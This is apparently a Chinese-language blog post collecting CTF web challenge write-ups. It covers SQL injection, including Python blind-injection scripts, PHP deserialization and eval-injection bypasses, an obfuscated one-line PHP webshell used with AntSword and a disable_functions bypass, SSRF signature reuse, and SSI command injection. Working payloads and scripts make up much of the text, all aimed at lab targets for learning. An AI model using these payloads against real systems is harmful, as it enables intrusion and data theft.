    • Price:粘贴 Unicode 字符𐡟U+1085F

  2. 点击Purchase!提交请求

步骤 3:获取 flag

请求提交后,页面会提示操作成功,并直接返回 flag:

flag{c72f35e6-a1e6-4430-bb66-67a5043eaf2f}

[SWPU2019]Web1

一、题目基础信息

项目详情
题目来源SWPU 2019
题目类型SQL 注入
核心考点空格过滤绕过、敏感词过滤绕过、联合注入、报错注入辅助
目标注入后台数据库,获取 flag

二、环境与功能分析

  1. 页面功能

靶机是一个广告信息管理系统,核心功能如下:

  • 登录 / 注册:用户需注册账号登录,获得普通用户权限。

  • 广告申请:提交广告(广告名、广告内容),状态为 “待管理确认”。

  • 广告详情:点击广告的「广告详情」按钮,跳转到detail.php?id=广告ID查看详情。

2. 关键注入点定位

查看页面源码,广告详情的链接为:

<a href="detail.php?id=1">广告详情</a>

结合提交广告后点击详情出现的 SQL 报错信息,可确定注入点为detail.phpid参数

三、完整解题步骤

先注册

随便注册个账号

查看源码

所以上传的广告应该是注入点

报错了,是单引号闭合

进行注入,#不行

但是%23可以

......

找到注入点

 1'/**/union/**/select/**/1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22'

1'/**/union/**/select/**/1,database(),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22' 

1'/**/union/**/select/**/1,database(),group_concat(table_name),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22/**/from/**/mysql.innodb_table_stats/**/where/**/database_name="web1"' 

1'/**/union/**/select/**/1,database(),(select/**/group_concat(b)/**/from/**/(select/**/1,2/**/as/**/a,3/**/as/**/b/**/union/**/select/**/*/**/from/**/users)a),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22'

[BSidesCF 2019] Futurella 解题笔记


一、题目基础信息

项目详情
题目来源BSidesCF 2019 / BUUCTF Web 题
核心考点PHP 反序列化漏洞、魔术方法__destruct()利用、可变函数调用
目标通过构造反序列化 Payload,执行assert调用phpinfo(),在 phpinfo 页面的环境变量中获取 flag


二、源码完整分析

题目通过?source参数可直接查看源码,关键代码如下:

<?php
#error_reporting(0);
class HelloPhp
{
    // 两个public属性,可被反序列化完全控制
    public $a;
    public $b;
​
    // 构造函数:初始化$a为日期格式,$b为date函数
    public function __construct(){
        $this->a = "Y-m-d h:i:s";
        $this->b = "date";
    }
​
    // 析构函数:对象销毁时自动执行,核心漏洞点
    public function __destruct(){
        $a = $this->a;
        $b = $this->b;
        echo $b($a); // 可变函数调用:$b为函数名,$a为参数
    }
}
​
// 入口逻辑:接收GET参数`data`并反序列化
$c = new HelloPhp;
if(isset($_GET['source'])) {
    highlight_file(__FILE__);
    die(0);
}
@$ppp = unserialize($_GET["data"]);

关键漏洞点拆解

  1. 反序列化入口$_GET["data"]直接传入unserialize(),用户可控输入,可构造任意HelloPhp对象。

  2. 析构方法触发__destruct()在对象销毁时自动执行,无需用户主动调用。

  3. 可变函数调用echo $b($a);中,$b是动态函数名,$a是动态参数,两者均可通过反序列化控制,实现任意 PHP 函数调用。


三、漏洞利用原理

1. 利用思路

  • 控制HelloPhp对象的$b属性为可执行代码的函数(如assert),$a属性为待执行的 PHP 代码(如phpinfo())。

  • 反序列化后,对象销毁时自动触发__destruct(),执行assert(phpinfo()),调用phpinfo()函数。

  • phpinfo()页面会输出服务器环境变量,题目 flag 就藏在其中。

2. 为什么选择assert而非system

题目环境中system等系统命令执行函数大概率被禁用,而assert在 PHP 7.0-7.2 版本中支持执行字符串形式的 PHP 代码,可绕过限制。


四、Payload 构造与利用步骤

步骤 1:构造恶意序列化对象

编写 PHP 脚本,修改HelloPhp对象的属性,生成序列化字符串:

<?php
class HelloPhp
{
    // 控制$a为phpinfo(),$b为assert
    public $a = "phpinfo()";
    public $b = "assert";
}
​
// 生成序列化字符串
$payload = new HelloPhp();
echo serialize($payload);
?>

步骤 2:获取序列化 Payload

运行脚本后,得到序列化字符串:

O:8:"HelloPhp":2:{s:1:"a";s:9:"phpinfo()";s:1:"b";s:6:"assert";}

注:属性为public,序列化时无额外\0前缀,可直接使用。

步骤 3:提交 Payload 触发漏洞

将序列化字符串传入?data参数,构造请求 URL:

http://靶机IP:port/?data=O:8:"HelloPhp":2:{s:1:"a";s:9:"phpinfo()";s:1:"b";s:6:"assert";}

步骤 4:从 phpinfo 中提取 flag

访问 URL 后,页面会显示完整的phpinfo()信息,在Environment Variables(环境变量)中找到FLAG字段,例如:

flag{6bcfee89-5533-413a-9124-94433793c126}

[极客大挑战 2019]FinalSQL

获取所有数据库

import requests
from time import sleep
url = "http://dd9a70f3-f3ef-42bd-8286-fe0bdccac825.node4.buuoj.cn:81/search.php?id=0^({})"
​
# 如果为真时的关键字匹配
​
base = 'Click others'
​
盲注的字符集
​
chars = ',abcdefghijklmnopqrstuvwxyz_ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789'
​
inject = "ord(substr((SELECT(GROUP_CONCAT(schema_name))FROM(information_schema.schemata)),{},1))={}"
for i in range(1, 1000):
    continue_ = False
    for c in chars:
        u = url.format(inject.format(i,ord(c)))
        res = requests.get(u)
        while res.status_code == 429:
            sleep(1)
            res = requests.get(u)
        if base in res.text:
            print(c,end='',flush=True)
            continue_ = True
            break
    if not continue_:
        break
information_schema,mysql,performance_schema,test,geek

获取表

inject = "ord(substr((SELECT(GROUP_CONCAT(table_name))FROM(information_schema.tables)WHERE(table_schema='geek')),{},1))={}"
for i in range(1, 1000):
    continue_ = False
    for c in chars:
        u = url.format(inject.format(i,ord(c)))
        res = requests.get(u)
        while res.status_code == 429:
            sleep(1)
            res = requests.get(u)
        if base in res.text:
            print(c,end='',flush=True)
            continue_ = True
            break
    if not continue_:
        break
F1naI1y,Flaaaaag

获取列

inject = "ord(substr((SELECT(GROUP_CONCAT(column_name))FROM(information_schema.columns)WHERE(table_name='F1naI1y')),{},1))={}"
for i in range(1, 1000):
    continue_ = False
    for c in chars:
        u = url.format(inject.format(i,ord(c)))
        res = requests.get(u)
        while res.status_code == 429:
            sleep(1)
            res = requests.get(u)
        if base in res.text:
            print(c,end='',flush=True)
            continue_ = True
            break
    if not continue_:
        break
id,username,password

获取flag

import requests
import string
from time import sleep
url = "http://9da9cb18-3096-413a-9476-8a177ffec31a.node4.buuoj.cn:81/search.php?id=0^({})"
​
# 如果为真时的关键字匹配
​
base = 'Click others'
​
# 盲注的字符集
​
chars = string.printable
​
inject = "ord(substr(reverse((SELECT(GROUP_CONCAT(password))FROM(geek.F1naI1y))),{},1))={}"
for i in range(1, 1000):
    continue_ = False
    for c in chars:
        u = url.format(inject.format(i,ord(c)))
        res = requests.get(u)
        while res.status_code == 429:
            sleep(1)
            res = requests.get(u)
        if base in res.text:
            print(c,end='',flush=True)
            continue_ = True
            break
    if not continue_:
        break

把flag反转一下

}42e24a1d9455-24bb-fac4-fdf9-e863df96{galf
flag{69fd368e-9fdf-4caf-bb42-5549d1a42e24}

借鉴原文链接:https://blog.csdn.net/kw741951/article/details/141066234

[CISCN 2019 初赛] Love Math


一、题目基础信息

项目详情
题目来源CISCN 2019 初赛 / BUUCTF
题目类型PHP 代码审计・Eval 注入
核心考点白名单函数绕过、进制转换动态生成字符串、PHP 动态变量调用、超全局变量利用
目标绕过三重限制,执行系统命令获取 flag

二、源码审计与过滤规则分析

1. 完整源码

<?php
error_reporting(0);
if(!isset($_GET['c'])){
    show_source(__FILE__);
}else{
    $content = $_GET['c'];
    // 限制1:长度必须小于80字符
    if (strlen($content) >= 80) {
        die("太长了不会算");
    }
    // 限制2:黑名单字符过滤
    $blacklist = [' ', '\t', '\r', '\n', '\'', '"', '`', '[', ']'];
    foreach ($blacklist as $blackitem) {
        if (preg_match('/' . $blackitem . '/m', $content)) {
            die("请不要输入奇奇怪怪的字符");
        }
    }
    // 限制3:白名单函数过滤
    $whitelist = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh'];
    preg_match_all('/[a-zA-Z_x7f-\xff][a-zA-Z_0-9x7f-\xff]*/', $content, $used_fu);
    foreach ($used_fu[0] as $func) {
        if (!in_array($func, $whitelist)) {
            die("请不要输入奇奇怪怪的函数");
        }
    }
    // 核心漏洞:直接执行用户输入
    eval('echo '.$content.';');
}

2. 三重限制拆解

限制类型具体规则影响
长度限制strlen($content) < 80Payload 必须极度精简,无冗余字符
黑名单字符禁止空格、\t、\r、\n、单/双引号、反引号、方括号无法直接写system('cat /flag')这类常规命令
白名单函数仅允许abs/acos/acosh/asin/asinh/atan2/atan/atanh常规系统命令函数(如system)被拦截

三、核心漏洞原理(绕过逻辑)

1. 关键 PHP 特性利用

特性作用应用场景
动态变量调用 $$var$pi = "_GET"; $$pi 等价于$_GET动态访问超全局变量,避免直接写$_GET
进制转换函数base_convert()/dechex()可将十进制数字转换为指定进制字符串动态生成hex2bin/_GET,避免直接写标识符被白名单拦截
数组形式函数调用($_GET){pi}($_GET){abs} 等价于$_GET['pi']($_GET['abs'])绕过方括号黑名单,实现无引号 / 无括号的函数调用

2. 绕过思路拆解

  1. 动态生成hex2bin函数名:利用base_convert(37907361743,10,36)将十进制数字转换为 36 进制字符串,得到hex2bin,避免直接写被白名单拦截。

  2. 动态生成_GET字符串:先将_GET的 ASCII 码转为十六进制5f474554,再用dechex(1598506324)(十进制对应十六进制5f474554)生成十六进制字符串,最后用hex2bin转换为_GET

  3. 赋值给变量,动态调用超全局变量:将_GET赋值给$pi,此时$$pi等价于$_GET

  4. 无括号调用系统命令:用($$pi){pi}(($$pi){abs})调用$_GET['pi']($_GET['abs']),通过 URL 参数传递systemcat /flag,实现命令执行。


四、Payload 构造完整步骤

步骤 1:生成hex2bin函数名

// 将十进制数字37907361743转换为36进制,得到字符串"hex2bin"
base_convert(37907361743, 10, 36)

步骤 2:生成_GET字符串

// 1. "_GET"的ASCII码十六进制:5f474554
// 2. 十六进制转十进制:0x5f474554 = 1598506324
// 3. 十进制转十六进制字符串:dechex(1598506324) → "5f474554"
// 4. 十六进制转原始字符串:hex2bin("5f474554") → "_GET"
hex2bin(dechex(1598506324))

步骤 3:组合生成超全局变量$_GET

// 将步骤1和步骤2结合,赋值给变量$pi
$pi=base_convert(37907361743,10,36)(dechex(1598506324));
// 此时$$pi 等价于 $_GET

步骤 4:构造无括号函数调用

// 调用形式:$_GET['pi']($_GET['abs'])
// 转换为无方括号形式:($$pi){pi}(($$pi){abs})
($$pi){pi}(($$pi){abs})

步骤 5:组合完整 Payload(长度 < 80)

$pi=base_convert(37907361743,10,36)(dechex(1598506324));($$pi){pi}(($$pi){abs})

步骤 6:构造最终 URL,传递参数

?c=$pi=base_convert(37907361743,10,36)(dechex(1598506324));($$pi){pi}(($$pi){abs})&pi=system&abs=cat /flag

五、完整解题流程

  1. 访问靶机:查看源码,确认过滤规则和 Eval 注入漏洞。

  2. 构造 Payload:按照上述步骤生成符合所有限制的字符串。

  3. 提交请求:访问构造好的 URL,通过pi参数传递systemabs参数传递cat /flag

  4. 获取 Flag:请求执行后,页面会直接输出cat /flag的结果,即 flag。

[极客大挑战 2019]RCE ME


一、题目基础信息

项目详情
题目来源极客大挑战 2019 / BUUCTF
核心考点无字母数字 RCE、URL 编码取反绕过、PHP7 GC UAF 漏洞绕过disable_functions
最终 flagflag{b49a25eb-a297-42d1-a78c-56dfe96b3a87}

二、步骤 1:源码审计,明确限制

打开靶机页面,源码如下:

<?php
error_reporting(0);
if(isset($_GET['code'])){
    $code=$_GET['code'];
    // 限制1:Payload长度必须≤40字符
    if(strlen($code)>40){
        die("This is too Long.");
    }
    // 限制2:禁止所有字母、数字([A-Za-z0-9])
    if(preg_match("/[A-Za-z0-9]+/",$code)){
        die("NO.");
    }
    // 核心漏洞:直接eval执行用户输入
    @eval($code);
}
?>

关键限制拆解

  1. 不能用任何字母、数字,常规system()/phpinfo()无法直接写;

  2. Payload 长度必须≤40,需要精简无冗余;

  3. 后端直接eval()执行,是注入入口。


三、步骤 2:生成无字母数字一句话木马 Payload

核心思路:按位取反 + URL 编码绕过

PHP 中~是按位取反运算符,对目标字符串取反后再 URL 编码,生成的字符串不含字母数字,可绕过preg_match过滤。

本地生成 Payload

编写本地 PHP 脚本,对一句话木马assert(eval($_POST[cmd]));取反并 URL 编码:

<?php
$payload = "assert(eval(\$_POST[cmd]));";
echo urlencode(~$payload);
?>

运行脚本后,得到最终 Payload:

%9E%8C%8C%9A%8D%8B%D7%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%9C%92%9B%A2%D6%D6

拼接完整 URL访问

http://你的靶机地址/?code=(~%9E%8C%8C%9A%8D%8B)(~%D7%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%9C%92%9B%A2%D6%D6);

注:(取反字符串)(取反字符串) 是 PHP 的可变函数调用格式,还原后为assert(eval($_POST[cmd]));


四、步骤 3:蚁剑连接配置

  1. 打开蚁剑,点击「添加数据」;

  2. 填写配置:

    • URL 地址:填写拼接好的完整 Payload URL;

    • 连接密码:cmd(和一句话木马的$_POST[cmd]对应);

    • 编码设置:UTF8;

    • 连接类型:PHP;

  3. 点击「测试连接」,提示 “连接成功”,配置生效。


五、步骤 4:绕过disable_functions

问题:终端执行命令返回ret=127

原因:靶机的disable_functions禁用了system/exec/shell_exec等所有系统命令执行函数,蚁剑终端默认调用这些函数,无法执行命令。

蚁剑插件绕过

  1. 右键你的靶机连接 → 「加载插件」→「辅助工具」→「绕过 disable_functions」;

  2. 模式选择:PHP7_GC_UAF(适配你的 PHP 7.0 环境,利用垃圾回收 UAF 漏洞绕过禁用列表);

    点击「开始」,插件自动完成绕过配置。


六、步骤 5:获取最终 flag

  1. 打开蚁剑终端;

  2. 执行命令:/readflag(靶机提供的 SUID 程序,以 root 权限读取 /flag 文件);

  3. 终端直接输出 flag:flag{b49a25eb-a297-42d1-a78c-56dfe96b3a87}

[De1CTF 2019]SSRF Me

一、题目基础信息

项目详情
题目来源De1CTF 2019 / BUUCTF
核心考点SSRF 漏洞、WAF 绕过、签名验证复用、二次读写请求
flag 位置靶机根目录 ./flag.txt
关键限制1. WAF 拦截gopher:///file://协议;2. param必须从 GET 请求读取;3. 请求需携带合法签名

二、源码核心逻辑拆解

1. 关键路由与参数读取

# 处理任务请求的核心路由(易错点:路径是/De1ta,数字1,不是字母l)
@app.route('/De1ta', methods=['GET', 'POST'])
def challenge():
    # ✅ action 和 sign 从 Cookie 读取
    action = urllib.unquote(request.cookies.get("action"))
    sign = urllib.unquote(request.cookies.get("sign"))
    # ❌ 易错!param 必须从 URL 的 GET 参数读取,Cookie 里的 param 完全无效!
    param = urllib.unquote(request.args.get("param", ""))

2. 二次读写漏洞逻辑(获取 flag 的核心)

def Exec(self):
    if self.checkSign():  # 验证签名
        # 第一步:scan操作——读取param对应的URL,写入临时文件
        if "scan" in self.action:
            tmpfile = open("./%s/result.txt" % self.sandbox, 'w')
            resp = scan(self.param)  # SSRF请求:读取flag.txt内容
            tmpfile.write(resp)  # 把flag写入临时文件
        # 第二步:read操作——读取临时文件,返回给用户
        if "read" in self.action:
            f = open("./%s/result.txt" % self.sandbox, 'r')
            result['data'] = f.read()  # 把flag返回给用户

关键要求action必须同时包含scanread两个字符串,才能完成 “写入 flag→读取 flag” 的完整流程。

3. 签名复用原理

def getSign(action, param):
    # 签名规则:secret_key + param + action 的 MD5 值,顺序不能反
    return hashlib.md5(secret_key + param + action).hexdigest()

利用拼接顺序,用param=flag.txtread + action=scan,生成和param=flag.txt + action=readscan完全相同的签名:

  • 拼接 1:secret_key + "flag.txtread" + "scan"secret_key + "flag.txtreadscan"

  • 拼接 2:

    secret_key + "flag.txt" + "readscan"

    secret_key + "flag.txtreadscan"

    两个拼接结果完全一致,MD5 值也完全相同!


三、解题步骤

步骤 1:获取匹配的合法签名

操作:访问/geneSign路由,用param=flag.txtread生成签名:

GET /geneSign?param=flag.txtread HTTP/1.1
Host: e3a68d4a-2fb8-4fed-b9e8-409c7eca6efb.node5.buuoj.cn:81

响应结果:拿到签名 870e6f170e45b21162ad30142ea2bae4,和目标请求的签名完全匹配。


步骤 2:发送最终请求,获取 flag

最终请求(Burp 中发送)

GET /De1ta?param=flag.txt HTTP/1.1
Host: e3a68d4a-2fb8-4fed-b9e8-409c7eca6efb.node5.buuoj.cn:81
Cookie: action=readscan; sign=870e6f170e45b21162ad30142ea2bae4
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

响应结果:成功拿到 flag 的 JSON 数据:

{"code": 200, "data": "flag{a4b32834-007c-47ec-a0dd-6692dad5a711}\n"}

[BJDCTF2020] EasySearch 1 解题笔记


一、题目基础信息

项目详情
题目来源BJDCTF2020 / BUUCTF
核心考点目录备份文件泄露、MD5 弱类型碰撞、SSI(服务器端包含)注入漏洞
目标绕过登录验证,利用 SSI 漏洞执行系统命令获取 flag

二、步骤 1:目录扫描,发现备份文件

操作过程

  1. 尝试常规 SQL 注入无果后,使用

    dirsearch

    工具扫描目录:

    python dirsearch.py -u "http://你的靶机地址/"
  2. 关键注意点:扫描时需关闭代理,否则会漏扫出index.php.swp文件(vim 编辑文件时生成的临时备份文件)。

关键文件

  • /index.php.swp:vim 编辑index.php时生成的临时文件,可恢复出完整源码,是解题的突破口。

恢复源码

使用 vim 命令恢复备份文件:

vim -r index.php.swp

即可得到完整的index.php源码。


三、步骤 2:源码审计,定位漏洞点

源码关键逻辑

<?php
ob_start();
function get_hash(){
    $chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789!@#';
    $random = $chars[mt_rand(0,73)].$chars[mt_rand(0,73)];
    $content = uniqid().$random;
    return sha1($content);
}
​
header("Content-Type: text/html;charset=utf-8");
if(isset($_POST['username']) and $_POST['username'] != '')
{
    $admin = '6d0bc1';
    // 弱类型验证:只需MD5前6位等于'6d0bc1'即可通过
    if ( $admin == substr(md5($_POST['password']),0,6) ) {
        echo "<script>alert('[+] Welcome to manage system')</script>";
        // 生成随机文件名的shtml文件
        $file_shtml = "public/".get_hash().".shtml";
        $shtml = fopen($file_shtml, "w") or die("Unable to open file!");
        // 把用户可控的username写入文件,无任何过滤
        $text = '
        <h1>Hello, '.$_POST['username'].'.</h1>
        ';
        fwrite($shtml,$text);
        fclose($shtml);
    } else {
        echo "<script>alert('[!] Failed')</script>";
    }
}
?>

漏洞分析

  1. 弱类型密码验证$admin == substr(md5($_POST['password']),0,6),仅需password的 MD5 哈希前 6 位为6d0bc1即可通过验证,无需完整匹配。

  2. SSI 注入漏洞:登录成功后,服务器会生成.shtml文件(支持解析服务器端包含指令),并将用户可控的username直接写入文件,无任何过滤,因此可插入恶意 SSI 指令执行任意系统命令。


四、步骤 3:MD5 前 6 位碰撞,获取有效 password

编写碰撞脚本(Python)

import hashlib
​
for i in range(100000000000):
    a = hashlib.md5(str(i).encode('utf-8')).hexdigest()
​
    if a[0:6] == '6d0bc1':
        print(i)
​

运行结果

脚本会输出有效 password,常见结果为202006662305004,两者的 MD5 前 6 位均为6d0bc1,可直接使用。


五、步骤 4:构造 SSI 注入 Payload,执行命令拿 flag

SSI 漏洞原理

.shtml文件会解析服务器端包含指令,其中<!--#exec cmd="命令"-->指令可执行任意系统命令,并将结果嵌入 HTML 中返回给客户端。

构造 Payload(需 URL 编码)

  1. 原始 SSI 指令(直接执行 find 命令查找 flag 文件):

    <!--#exec cmd="find / -name flag*"-->

  2. URL 编码后的 Payload(POST 提交时使用,避免特殊字符被转义):

    %3C%21--%23exec+cmd%3D%22find+%2F+-name+flag*%22--%3E

登录请求(POST)

POST /index.php HTTP/1.1
Host: 你的靶机地址
Content-Type: application/x-www-form-urlencoded
​
username=<!--#exec cmd="cat /var/www/html/flag"-->&password=20200666

或使用编码后的 username:

username=%3C%21--%23exec+cmd%3D%22cat+%2Fvar%2Fwww%2Fhtml%2Fflag%22--%3E&password=20200666

访问生成的 shtml 文件

登录成功后,服务器会返回生成的.shtml文件路径(如public/xxxx.shtml),访问该文件即可看到命令执行结果,获取 flag。

[WUSTCTF2020] 颜值成绩查询

一、题目核心信息与考点确认

1. 基础环境

  • 靶机地址:http://19920a26-9452-4fd4-96db-52fceaa3ac71.node5.buuoj.cn:81/?stunum=

  • 交互逻辑:

    • 输入stunum=1 → 返回Hi admin, your score is: 100(存在的用户)

    • 输入不存在的学号 → 返回student number not exists.

  • 关键发现:空格被过滤,需用括号()替代空格;注入点为数字型,无需闭合引号

2. 核心考点

  1. 布尔盲注:通过页面状态差异推断 SQL 执行结果

  2. 二分法优化:将每个字符的爆破次数从 128 次降至 7 次,大幅提升效率

  3. SQL 函数组合ord()/ascii()+substr()+group_concat()实现数据提取

  4. 空格过滤绕过:用括号替代空格,构造合法注入语句


二、脚本核心原理深度解析

1. 关键语法与函数说明

语法 / 函数作用示例
1*(条件)将布尔值转为数字(真 = 1,假 = 0),适配数字型注入点1*(1>0) → 1
ord(字符)获取字符的 ASCII 值(MySQL 中同ascii()ord('a') → 97
substr(字符串,位置,长度)截取字符串,位置从 1 开始substr('abc',2,1) → 'b'
group_concat(字段)拼接同组所有字段值,用逗号分隔拼接所有表名 / 字段名
(low + high) >> 1位运算实现整数除法,等价于(low+high)//2二分法计算中间值

2. 盲注判断逻辑

  • 当条件为真时 → 表达式结果为 1 → 页面返回your score is: 100

  • 当条件为假时 → 表达式结果为 0 → 页面返回student number not exists.

  • 脚本通过判断页面是否包含your score is: 100来推断条件真假

3. 完整 Payload 结构

1*(ord(substr((查询语句),字符位置,1))>中间值)
  • 1*将布尔结果转为数字,适配数字型注入点

  • 用括号替代空格,绕过空格过滤限制

  • 通过>比较 ASCII 值,实现二分法逐字符爆破


三、脚本完整解析

import requests  # 导入HTTP请求库,用于发送请求
import time      # 导入时间库,用于设置请求间隔,避免被拦截
​
# 靶机URL,包含注入点参数stunum=
url = "http://19920a26-9452-4fd4-96db-52fceaa3ac71.node5.buuoj.cn:81/?stunum="
​
result = ""  # 存储最终爆破结果
i = 0        # 字符位置计数器,从1开始
​
while (True):
    i = i + 1  # 字符位置+1,开始爆破第i个字符
    low = 32   # ASCII值下界(空格)
    high = 127 # ASCII值上界(DEL,覆盖所有可打印字符)
​
    while (low < high):  # 二分法循环,直到找到精确ASCII值
        mid = (low + high) >> 1  # 计算中间值,位运算效率更高
        
        # 【Payload切换区】按需注释/取消注释,对应不同爆破阶段
        # 1. 爆破数据库名
        # payload = "1*(ord(substr(database(), %d,1))>%d)" % (i, mid)
        
        # 2. 爆破当前数据库所有表名
        # payload = "1*(ord(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())),%d,1))>%d)" % (i , mid)
        
        # 3. 爆破flag表的所有字段名
        # payload = "1*(ord(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='flag')),%d,1))>%d)" % (i, mid)
        
        # 4. 爆破ctf数据库flag表的value字段值(最终flag)
        payload = "1*(ord(substr((select(group_concat(value))from(ctf.flag)),%d,1))>%d)" % (i, mid)
        
        r = requests.get(url + payload)  # 发送GET请求
        time.sleep(0.5)  # 延迟0.5秒,避免请求过快被WAF拦截
        r.encoding = "utf-8"  # 设置编码为UTF-8,防止中文乱码
        
        # 判断条件是否成立
        if "your score is: 100" in r.text:
            low = mid + 1  # 条件成立,调整下界,继续查找更大值
        else:
            high = mid     # 条件不成立,调整上界,继续查找更小值
​
    # 处理当前字符
    last = result
    if low != 32:  # 如果不是空格,说明还有字符
        result += chr(low)  # 将ASCII值转为字符,添加到结果中
    else:
        break  # 遇到空格,说明数据已全部爆破完成,退出循环
    print(result)  # 实时输出当前爆破结果

四、分阶段爆破流程阶段

1:爆破数据库名

  1. 启用 Payload:payload = "1*(ord(substr(database(), %d,1))>%d)" % (i, mid)

  2. 执行脚本,得到数据库名:ctf

阶段 2:爆破表名

  1. 启用 Payload:payload = "1*(ord(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())),%d,1))>%d)" % (i , mid)

  2. 执行脚本,得到表名:flag

阶段 3:爆破字段名

  1. 启用 Payload:payload = "1*(ord(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='flag')),%d,1))>%d)" % (i, mid)

  2. 执行脚本,得到字段名:value

阶段 4:爆破 flag 值

  1. 启用 Payload:payload = "1*(ord(substr((select(group_concat(value))from(ctf.flag)),%d,1))>%d)" % (i, mid)

  2. 执行脚本,得到最终 flag:flag{xxx-xxx-xxx-xxx}

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

持敬chijing

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值